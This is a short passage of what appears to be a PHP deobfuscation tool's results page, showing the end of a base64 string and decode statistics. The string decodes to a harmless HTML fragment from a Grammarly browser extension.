Z3JhbW1hcmx5LWRlc2t0b3AtaW50ZWdyYXRpb24gZGF0YS1ncmFtbWFybHktc2hhZG93LXJvb3Q9InRydWUiPjwvZ3JhbW1hcmx5LWRlc2t0b3AtaW50ZWdyYXRpb24+PC9odG0=')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 0217c3596571a9d5e50af4e7d3f99aa4
Eval Count 1
Decode Time 181 ms